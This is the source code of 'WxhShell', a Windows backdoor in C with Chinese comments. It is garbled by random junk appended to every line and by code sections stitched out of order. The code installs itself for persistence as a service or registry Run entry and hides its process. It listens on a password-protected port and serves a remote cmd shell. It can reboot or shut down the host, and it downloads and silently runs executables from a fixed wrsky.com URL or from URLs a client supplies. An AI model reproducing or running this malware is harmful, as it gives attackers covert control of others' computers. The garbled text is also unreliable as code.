    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5qko`r@#  
    if(Boot(SHUTDOWN)) MM7gMAA.mz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p0@mumh  
    else { <6$%Y2  
    closesocket(wsh); ]<_+uciP5[  
    ExitThread(0); #bH[UId[  
    } a}{! %5  
    break; GDntGTE~sk  
    } Fje%hcV  
  // 获取shell |e(x< [s5  
  case 's': { p.olXP  
    CmdShell(wsh); ?uv%E*TU  
    closesocket(wsh); \rO>F E  
    ExitThread(0); J'v|^`bE  
    break; 3E9j%sYk  
  } CAO{$<M5m  
  // 退出 MQu6Tm H  
  case 'x': { ;I' ["k%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /y@iaptC  
    CloseIt(wsh); ,B!Qv3bn  
    break; tam/FzVw  
    } 7Kjq1zl;  
  // 离开 ^5F/=TtE G  
  case 'q': { wtyu"=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e2F7G>q:5  
    closesocket(wsh); sP!qv"u  
    WSACleanup(); mer{Jy s  
    exit(1); Rl8-a8j$f.  
    break; W,+91rup  
        } Q0q$ZK6C  
  } 0:p#%Nvg  
  } n!nv.-n  
} U.B$4Q  
  // 提示信息 L1BpY-=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'z:p8"h}  
} b.+\qaR  
  } .(ir2g  
mYvm_t9  
  return; <hdCO< 0(  
} *WG}K?"/  
+f+yh0Dj  
// shell模块句柄 MN4}y5  
int CmdShell(SOCKET sock) \h4y,sl  
{ :SGQ4@BV  
STARTUPINFO si; O'(vs"eN  
ZeroMemory(&si,sizeof(si)); &$f?XdZ7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hFv}JQJw<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dQb?Zi7g  
PROCESS_INFORMATION ProcessInfo; 9OBPFF  
char cmdline[]="cmd"; &rubA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &9>d  
  return 0; :z7!X.*  
} V"XN(Fd^  
bcG-js-  
// 自身启动模式 D?R  z|  
int StartFromService(void) cCIEG e6  
{ W#Z]mt B  
typedef struct tK*f8X+q  
{ ^=j$~*(LmX  
  DWORD ExitStatus; lVHJ}(<'p  
  DWORD PebBaseAddress; WP9=@X Z  
  DWORD AffinityMask; z7o5 9&  
  DWORD BasePriority; o-_ a0j  
  ULONG UniqueProcessId; -u{:39y{n  
  ULONG InheritedFromUniqueProcessId; dmne+ufB  
}   PROCESS_BASIC_INFORMATION; _JS'~ JO3{  
&V$R@~x  
PROCNTQSIP NtQueryInformationProcess; @,vSRns  
Yc}b&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9)qx0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V'B 6C#jT  
FgxQ}VvlH  
  HANDLE             hProcess; *0@e_h  
  PROCESS_BASIC_INFORMATION pbi; /VQ<}S[k}-  
x,+zw9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  hT[O5  
  if(NULL == hInst ) return 0; vEkz 5$  
vjb{h'v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :Pv{ E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); js j" W&J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LCt m@oN  
Ue7~rPdlR  
  if (!NtQueryInformationProcess) return 0; '4iu0ie>D  
_kS us  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }PVB+i M  
  if(!hProcess) return 0; P<1zXs.H  
F`l1I=;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Nf1l{N  
{sLh=iK  
  CloseHandle(hProcess); he,T\ };  
ZyG528O22  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wC19  
if(hProcess==NULL) return 0; 3c)LBM  
_z;N|Xe  
HMODULE hMod; P;GUGG*W  
char procName[255]; .Kx5Kh {  
unsigned long cbNeeded; 0(n/hJ  
btOC\bUMfD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dFlx6H+R!0  
YeQX13C"Z  
  CloseHandle(hProcess); &^Io\  
H5n" !!  
if(strstr(procName,"services")) return 1; // 以服务启动 Q["}U7j  
pVr,WTr6E  
  return 0; // 注册表启动 fqi5 84  
} :Vg,[\I{  
L_(|5#IDw  
// 主模块 .3[YOM7h  
int StartWxhshell(LPSTR lpCmdLine) |b@-1  
{ KM6r}CDHs  
  SOCKET wsl; .._wTOSq  
BOOL val=TRUE; B*{CcQ<5  
  int port=0; KQk;:1hW  
  struct sockaddr_in door; $ _zdjzT  
wS4zAu  
  if(wscfg.ws_autoins) Install(); ppxu\a  
I<$lpU_H  
port=atoi(lpCmdLine); B}vI<?c  
q8U]Hyp(`  
if(port<=0) port=wscfg.ws_port; 1t6UI4U!$  
/2c?+04+  
  WSADATA data; vR-/c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gc>\L3u  
u+*CpKR}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o_cj-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5i0<BZDTef  
  door.sin_family = AF_INET; B!:(*lF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _M?:N:e  
  door.sin_port = htons(port); }Vt5].TA  
{YkW5zC(L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wi!Ml4Sb  
closesocket(wsl); pl%ag~i5  
return 1; W6Hiqu+  
} (t <Um Vd  
8u>E(Vmpu  
  if(listen(wsl,2) == INVALID_SOCKET) { PpbW+}aCF  
closesocket(wsl); SkY|.w.   
return 1; "*UHit;"+{  
} 1iUy*p65:  
  Wxhshell(wsl); BQm H9g|2  
  WSACleanup(); {W0@lMrD  
J &c}z4  
return 0; E@?jsN7  
" `lRX  
} # H4dmnV  
PS>k67sI  
// 以NT服务方式启动 ex-`+cF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b*$^8%  
{ }hGbF"clqg  
DWORD   status = 0; ~q<U E\H  
  DWORD   specificError = 0xfffffff; TygR G+G-  
>8ePx,+!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3]wV`mD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c1c0b|B!U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x.'O_7c0:  
  serviceStatus.dwWin32ExitCode     = 0; oYu5]ry  
  serviceStatus.dwServiceSpecificExitCode = 0; >J4_/p>Qs  
  serviceStatus.dwCheckPoint       = 0; *-2u0%  
  serviceStatus.dwWaitHint       = 0; wsM5T B  
$Cte$ jg{;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `74A'(u_  
  if (hServiceStatusHandle==0) return; (HY|0Bgr  
x;ujR<  
status = GetLastError(); mWtwp-  
  if (status!=NO_ERROR) yHCBf)N7\  
{ /7*u!CNm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Tmq:,.^}  
    serviceStatus.dwCheckPoint       = 0; )4j#gHN\  
    serviceStatus.dwWaitHint       = 0; &0M^UvO  
    serviceStatus.dwWin32ExitCode     = status; 98x(2fCvF(  
    serviceStatus.dwServiceSpecificExitCode = specificError; WFtxEIrl3j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $AoN,B>  
    return; =\tg$  
  } % nJ'r?+h  
07CGHAxJ`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U:ZklDW  
  serviceStatus.dwCheckPoint       = 0; #  *\PU  
  serviceStatus.dwWaitHint       = 0; VaH#~!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Fe: 0nr9;  
} MSw/_{  
0LxA+  
// 处理NT服务事件,比如:启动、停止 *&LVn)@[`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Up`zVN59.  
{ ]U]{5AA6  
switch(fdwControl) gg5`\}  
{ PZQ}G*p3  
case SERVICE_CONTROL_STOP: Krz[ f  
  serviceStatus.dwWin32ExitCode = 0; NFsMc0{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %A?Ym33  
  serviceStatus.dwCheckPoint   = 0; SZE X;M  
  serviceStatus.dwWaitHint     = 0; {4UlJ,Z.n  
  { x2;92I{5C,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RoP z?,u  
  } Yk[yG;W  
  return; 9;kWuP>k4u  
case SERVICE_CONTROL_PAUSE: 'R= r9_%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -]HO8}-Rjs  
  break; <Cm:4)~  
case SERVICE_CONTROL_CONTINUE: )t0t*xu#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jRzR`>5  
  break; .BZw7 YV  
case SERVICE_CONTROL_INTERROGATE: l1a=r:WhH  
  break; ~,.Agx  
}; TR| G4l?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^KmyB6Yg  
} BT >8  
Z3=t"  
// 标准应用程序主函数 Es1Yx\/:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }wz )"  
{ zS]Yd9;X1  
_<&IpT{w+  
// 获取操作系统版本 KD=T04v  
OsIsNt=GetOsVer(); J %URg=r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); az\ ;D\\  
V\^?V|  
  // 从命令行安装 19h8p>Sx0  
  if(strpbrk(lpCmdLine,"iI")) Install(); F(:+[$)  
[[ H XOPaV  
  // 下载执行文件 )9==6p  
if(wscfg.ws_downexe) { DtR-NzjB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S-g`rTx  
  WinExec(wscfg.ws_filenam,SW_HIDE); $wAVM/u&  
} H;%a1  
W%@6D|^  
if(!OsIsNt) { |v:8^C7  
// 如果时win9x,隐藏进程并且设置为注册表启动 i e%ZX  
HideProc(); $D1Pk  
StartWxhshell(lpCmdLine); *[k7KG2_U  
} _"Y;E  
else (WX,&`a<$  
  if(StartFromService()) dyD =R  
  // 以服务方式启动 %#Fd0L  
  StartServiceCtrlDispatcher(DispatchTable); Y<I/y  
else t :sKvJ  
  // 普通方式启动 0 ; M+8  
  StartWxhshell(lpCmdLine); !Tr +:SM  
' w!o!_T6  
return 0; o0_RU<bWN  
} kL{2az3"c  
rU%\ 8T0f  
.^fq$7Y}7  
rV54-K;`0  
=========================================== pu=Q;E_f[  
32:q'   
8it|yK.G@&  
M n3cIGL  
xLPyV&j-  
4L(axjMYU  
" Cir==7A0  
_\1wLcFj  
#include <stdio.h> kb Odg:  
#include <string.h> LEKN%2  
#include <windows.h> W EZ(4ah  
#include <winsock2.h> zH.DyD5T;  
#include <winsvc.h> SzMh}xDh2  
#include <urlmon.h> H@.j@l  
!Yz~HO,u+  
#pragma comment (lib, "Ws2_32.lib") 'cu( Sd}  
#pragma comment (lib, "urlmon.lib") Gmf.lHr$%  
m&EwX ^1-  
#define MAX_USER   100 // 最大客户端连接数 s-J>(|  
#define BUF_SOCK   200 // sock buffer Z ~:S0HDP  
#define KEY_BUFF   255 // 输入 buffer Da0E)  
Zm4IN3FGLv  
#define REBOOT     0   // 重启 Ul)2A  
#define SHUTDOWN   1   // 关机 8yF15['  
1BmevE a)  
#define DEF_PORT   5000 // 监听端口 ~ucOQVmz@  
?TLMoqmXM{  
#define REG_LEN     16   // 注册表键长度 dyC: Mko=  
#define SVC_LEN     80   // NT服务名长度 3 8m5&5)1F  
Y, )'0O  
// 从dll定义API }[SWt3qV1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %F` c Nw]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k^:$ETW2 D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j]6 Z*AxQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &>ii2% 4  
!LVWggk1  
// wxhshell配置信息 P*BA  
struct WSCFG { r=~yUT  
  int ws_port;         // 监听端口 x;?4AJ{  
  char ws_passstr[REG_LEN]; // 口令 D\jRF-z  
  int ws_autoins;       // 安装标记, 1=yes 0=no =hH>]$J[  
  char ws_regname[REG_LEN]; // 注册表键名 kS%FV;9>(  
  char ws_svcname[REG_LEN]; // 服务名 G29PdmY$<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O$V 6QJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @(,k%84z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s =! y%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'p80X^g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7%c9 nY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #KF:(2  
&HNJ '  
}; wWKC.N  
><mZOTn e;  
// default Wxhshell configuration TxoMCN?7c  
struct WSCFG wscfg={DEF_PORT, be|k"s|6)  
    "xuhuanlingzhe", xa[<k >r3  
    1, (_^g:>)Cs  
    "Wxhshell", hc4<`W{  
    "Wxhshell", BuCU_/H  
            "WxhShell Service", MMqkNe  
    "Wrsky Windows CmdShell Service", ZT5t~5W  
    "Please Input Your Password: ", V7G?i\>  
  1, eu@-v"=w  
  "http://www.wrsky.com/wxhshell.exe", O5CIK}A  
  "Wxhshell.exe" L=O,OS+  
    }; ;]D@KxO$dJ  
#'^!@+)  
// 消息定义模块 tV<}!~0,*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KwndY,QD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gYn1-/Z>I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M`*B/Fh 2  
char *msg_ws_ext="\n\rExit."; s4<[f%^  
char *msg_ws_end="\n\rQuit."; 'ejuzE9  
char *msg_ws_boot="\n\rReboot..."; m\(4y Gj  
char *msg_ws_poff="\n\rShutdown..."; B$1e AwT9  
char *msg_ws_down="\n\rSave to "; cKEf- &~  
B.-5$4*s  
char *msg_ws_err="\n\rErr!"; 9<I@}w  
char *msg_ws_ok="\n\rOK!"; >9'G>~P~I=  
,A[40SZA  
char ExeFile[MAX_PATH]; (YVl5}V  
int nUser = 0; G"T)+! 6t  
HANDLE handles[MAX_USER]; TR L4r_  
int OsIsNt; `C%,Nj  
hZ Gr/5f  
SERVICE_STATUS       serviceStatus; 6;60}y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <W2}^q7F^  
^3B{|cqf  
// 函数声明 &PI}o  
int Install(void); &?IOrHSv!  
int Uninstall(void); ~ ' 81  
int DownloadFile(char *sURL, SOCKET wsh); BG_m}3j  
int Boot(int flag); ~aQ>DpSEf  
void HideProc(void); 6a[D]46y,2  
int GetOsVer(void); VO] Jvf  
int Wxhshell(SOCKET wsl); $qYtN`b,  
void TalkWithClient(void *cs); d/!sHr69  
int CmdShell(SOCKET sock); "IA[;+_"  
int StartFromService(void); T8h.!Vef  
int StartWxhshell(LPSTR lpCmdLine); C '4u+raq  
B$1nq#@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1k6f|Al -  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Wp/!;  
H0Qpc<Z4/  
// 数据结构和表定义 pg1o@^OuL  
SERVICE_TABLE_ENTRY DispatchTable[] = MNzq,/Wf  
{ Vy.A`Hz  
{wscfg.ws_svcname, NTServiceMain}, gV1&b (h  
{NULL, NULL} ol^V@3[<  
}; .'mmn5E  
$)\%i=  
// 自我安装 vmK<_xbwd  
int Install(void) jhjGDF  
{ I~\j%zD  
  char svExeFile[MAX_PATH]; bAms-cXm  
  HKEY key; -%*>z'|{  
  strcpy(svExeFile,ExeFile); ^)<>5.%1''  
s Z(LT'}  
// 如果是win9x系统,修改注册表设为自启动 E]WammX c  
if(!OsIsNt) { N3g[,BE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x.qn$?3V]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?`V%[~4_I  
  RegCloseKey(key); XL c&7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zuUf:%k}I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D{'x7!5r  
  RegCloseKey(key); FiMP_ y*S  
  return 0; "2;$?*hO#  
    } osyY+)G'sV  
  } 5|f[evQj<S  
} 7r 07N'  
else { ?6+GE_VZ  
6[,*2a8  
// 如果是NT以上系统,安装为系统服务 X[_w#Hwp-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uy)iB'st&  
if (schSCManager!=0) >DVjO9Kf  
{ u4bPj2N8I  
  SC_HANDLE schService = CreateService (2(I|O#  
  ( ]Cnj=\'  
  schSCManager, #x$.  
  wscfg.ws_svcname, o)F^0t  
  wscfg.ws_svcdisp, *X+T>SKL  
  SERVICE_ALL_ACCESS, $J"}7+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jo{[*]Oa  
  SERVICE_AUTO_START, ~j}di^<{  
  SERVICE_ERROR_NORMAL, dy N`9  
  svExeFile, \2 &)b  
  NULL, {c`kC]9  
  NULL, u:& gp  
  NULL, Yf&x]<rkCp  
  NULL, ,+<NP}Yg#G  
  NULL pm$,B7Q`oO  
  ); z #c)Q  
  if (schService!=0) 3ddH@Y|  
  { TzmoyY  
  CloseServiceHandle(schService); " NnUu 8x  
  CloseServiceHandle(schSCManager); H8.U#%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u:tLO3VfJ  
  strcat(svExeFile,wscfg.ws_svcname); b<};"H0a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K Art4+31  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D@*<p h=  
  RegCloseKey(key); W4Rs9NA}  
  return 0; ; S7 %  
    } Uq `B#JI  
  } Bm2"} =  
  CloseServiceHandle(schSCManager); = zW}vm }  
} Zm,<2BP>  
} 0][PL%3Z  
8X!^ 2B}J  
return 1; 'hfQ4EN  
} ]f#ZU{A'mt  
-8;U1^#  
// 自我卸载 <iVn!P  
int Uninstall(void) fiqeXE?E  
{ S {gB~W  
  HKEY key; ax0RtqtR&  
5xX*68]%  
if(!OsIsNt) { ^_ L'I%%[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^M6xRkI  
  RegDeleteValue(key,wscfg.ws_regname); NBZFIFO<  
  RegCloseKey(key); "- @{ )  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fa9c!xDt  
  RegDeleteValue(key,wscfg.ws_regname); 3Xyu`zS&   
  RegCloseKey(key); wR +C>  
  return 0; ' _Ij9{M  
  } =u W+>;]  
} TbbtD"b?  
} Cfqgu;m  
else { XcB!9AIO  
I!3qb-.Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #8iRWm0*6  
if (schSCManager!=0) "4"gHs  
{ d?^bCf+<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {eA0I\c(C  
  if (schService!=0) b!Pz~faXD  
  { nylrF"'e  
  if(DeleteService(schService)!=0) { mlc0XDS%  
  CloseServiceHandle(schService); Rl90uF]8  
  CloseServiceHandle(schSCManager); tQE=c 7/M  
  return 0; 6=A   
  } NwbB\Wl  
  CloseServiceHandle(schService); k2DT+}u7G  
  } Lpd q^X  
  CloseServiceHandle(schSCManager); 2<53y~Yi%  
} g>)&Q >}=W  
} q66!xhp;?  
sc dU  
return 1; '*H&s  
} vpu20?E>5z  
FJJ+*3(  
// 从指定url下载文件 _tDSG]  
int DownloadFile(char *sURL, SOCKET wsh) HLm6BtE  
{ ]FV,}EZ  
  HRESULT hr; k)j, ~JH  
char seps[]= "/"; ^x(BZolkm  
char *token; E-jL"H*  
char *file; V("@z<b|  
char myURL[MAX_PATH]; gFlUMfKh  
char myFILE[MAX_PATH]; `Mx&,;x  
O2./?Ye  
strcpy(myURL,sURL); A3D"b9<D  
  token=strtok(myURL,seps); <nDuN*|  
  while(token!=NULL) @H[)U/.  
  { .`qw8e}y#'  
    file=token; x&>zD0\ :\  
  token=strtok(NULL,seps); Q${0(#Nu  
  } sbn|D\p  
\`3YE~7J/  
GetCurrentDirectory(MAX_PATH,myFILE); "cSH[/  
strcat(myFILE, "\\"); 46`(u"RP  
strcat(myFILE, file);  ;LEO+,6  
  send(wsh,myFILE,strlen(myFILE),0); {]Tb  
send(wsh,"...",3,0); B^Y AKbY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6t@kft>Nv  
  if(hr==S_OK) A'Q=Do E  
return 0; pJ)PVo\cV  
else trD-qi  
return 1; USBU?WDt  
t* eZe`|  
} rC )pCC  
2MS-e}mi  
// 系统电源模块 }!-BZIOlO  
int Boot(int flag) V*]cF=W[A  
{ 9w\ yWxl  
  HANDLE hToken; h# R;'9*V  
  TOKEN_PRIVILEGES tkp; j$v2_q  
$&D$Uc`U>  
  if(OsIsNt) { \$;Q3t3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @hC,J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NQb!?w  
    tkp.PrivilegeCount = 1; ^f][;>c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kB~KC-&O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'u"r^o?  
if(flag==REBOOT) { e<F>u#d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MP"Pqt  
  return 0; hH Kd+QpI  
} ,au-g)IFZ  
else { 7nr+X Os  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iIrH&}2  
  return 0; C'5b)0km  
} :)7{$OR&  
  } up`.#GWm  
  else { DVNx\t  
if(flag==REBOOT) { jm~(OLg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dC&{zNG  
  return 0; )0F\[Jl}  
} TNgf96) y  
else { X{2))t%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B,rpc\_  
  return 0; "p,TYjT?R  
} `*?8<Vm  
} Wp5w}8g  
+%Y`>1I^#  
return 1; yxv]G6  
} %A 4F?/E  
+-8u09-F  
// win9x进程隐藏模块 FUy!j|W6f  
void HideProc(void) 2AN6(k4o  
{ s^O>PEX&<I  
Y;qA@|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4DGc[  
  if ( hKernel != NULL ) $~ 6Y\O  
  { (jQ]<q%P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (y^[k {#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o]Ln:kl  
    FreeLibrary(hKernel); >b^|SL  
  } T2Duz,  
#p<1@,  
return; uLr 9*nxd  
} <\0+*`">g  
`8 Q3=^)3  
// 获取操作系统版本 gD$bn=  
int GetOsVer(void)  x!)[l;  
{ m5Q?g8  
  OSVERSIONINFO winfo; /%O+]#$`0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0LQ|J(u  
  GetVersionEx(&winfo); Z?XgY\(a(Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b \pjjb[  
  return 1; 4i<V^go"  
  else , Oqd4NS  
  return 0; /K+GM8rtE  
} L p(6K  
JI&ik_k3  
// 客户端句柄模块 Ky6.6Y<.|  
int Wxhshell(SOCKET wsl) Nd b_|  
{ iEe<+Eyns  
  SOCKET wsh; -wA^ao   
  struct sockaddr_in client; G5;N#^myJ  
  DWORD myID; !%v=9muay  
xRTr<j0s  
  while(nUser<MAX_USER) QtF'x<cB  
{ W_]Su  
  int nSize=sizeof(client); drv"I[}{A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MXQ S6F#  
  if(wsh==INVALID_SOCKET) return 1; _6Ex}`fyJ  
ZH@BHg|}H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kTCWyc  
if(handles[nUser]==0) Kr;7~`$[  
  closesocket(wsh); :#yjg1aej  
else G"_ 8`l  
  nUser++; \W^+aNbv=8  
  } :Fv d?[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^F}HWpF_  
FNQR sNi  
  return 0; 6[iuCMOZ  
} | .8lS3C  
,7wxVR%Ys  
// 关闭 socket KN41 kkN  
void CloseIt(SOCKET wsh) aWtyY[=  
{ O-5s}RT  
closesocket(wsh); ^N{Lau  
nUser--; +x?_\?&Ks  
ExitThread(0); VW," dmC  
} 7mUpn:U  
ZD)pdNX  
// 客户端请求句柄 \&|zD"*  
void TalkWithClient(void *cs) k{{iF  
{ i2h,=NHJh?  
>n`!S`)9{  
  SOCKET wsh=(SOCKET)cs; C^dnkuA  
  char pwd[SVC_LEN]; ow,4'f!d  
  char cmd[KEY_BUFF]; %cPz>PTW@  
char chr[1]; !i"Z  
int i,j; hqPpRSv'  
)_7OHV *3  
  while (nUser < MAX_USER) { z3 zN^ZT  
i;'kQ  
if(wscfg.ws_passstr) { >Ei-Spy>Xl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #7wOr78  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #fF~6wopV  
  //ZeroMemory(pwd,KEY_BUFF); 6f$h1$$)^  
      i=0; jjs1Vj1@<  
  while(i<SVC_LEN) { ^CZ)!3qd1  
=f4v: j}'|  
  // 设置超时 q;XO1Se  
  fd_set FdRead; z j[/~ I  
  struct timeval TimeOut; !A5UT-  
  FD_ZERO(&FdRead); $U{ \T4  
  FD_SET(wsh,&FdRead); 3]*_*<D  
  TimeOut.tv_sec=8; 3`W=rIMli  
  TimeOut.tv_usec=0; ]w)*8 w.)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @R!f(\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,$lOQ7R1(  
dWg09sx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #D{jNSB  
  pwd=chr[0]; 319 &:  
  if(chr[0]==0xd || chr[0]==0xa) { L}>XH*  
  pwd=0; im}=  
  break; d#?.G3YmK  
  } 'h?;i2[  
  i++; p=tj>{  
    } W~TT`%[  
2J^jSgr50d  
  // 如果是非法用户,关闭 socket 6$d3Ap@Gl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]A;{D~X^w  
} ("UzMr,  
> @Ux8#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -ZmccT"8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O{sb{kk  
G!y~Y]e  
while(1) { kQr\ktN\  
K):MT[/"  
  ZeroMemory(cmd,KEY_BUFF); SBj9sFZ  
k"J [mT$b  
      // 自动支持客户端 telnet标准   Tug}P K   
  j=0; H;&^A5  
  while(j<KEY_BUFF) { 5CSihw/5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -Qt>yzD3  
  cmd[j]=chr[0]; Z#n!=k TTm  
  if(chr[0]==0xa || chr[0]==0xd) { D~KEjz!bQ  
  cmd[j]=0; hXvg<Rf  
  break; ?5%0zMC  
  } m{U+aqAQK  
  j++; JWu^7}@~=  
    } ^>g7Kg"0  
|{KZ<  
  // 下载文件 r%*UU4xvB  
  if(strstr(cmd,"http://")) { z}Qt6na]-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i[gq8%  
  if(DownloadFile(cmd,wsh)) sj)$o94=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o6FSSKM  
  else `%8byy@$  
